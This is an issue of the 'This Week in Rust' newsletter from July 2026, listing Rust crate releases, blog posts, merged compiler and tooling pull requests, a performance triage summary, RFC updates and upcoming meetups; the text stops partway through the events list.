<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
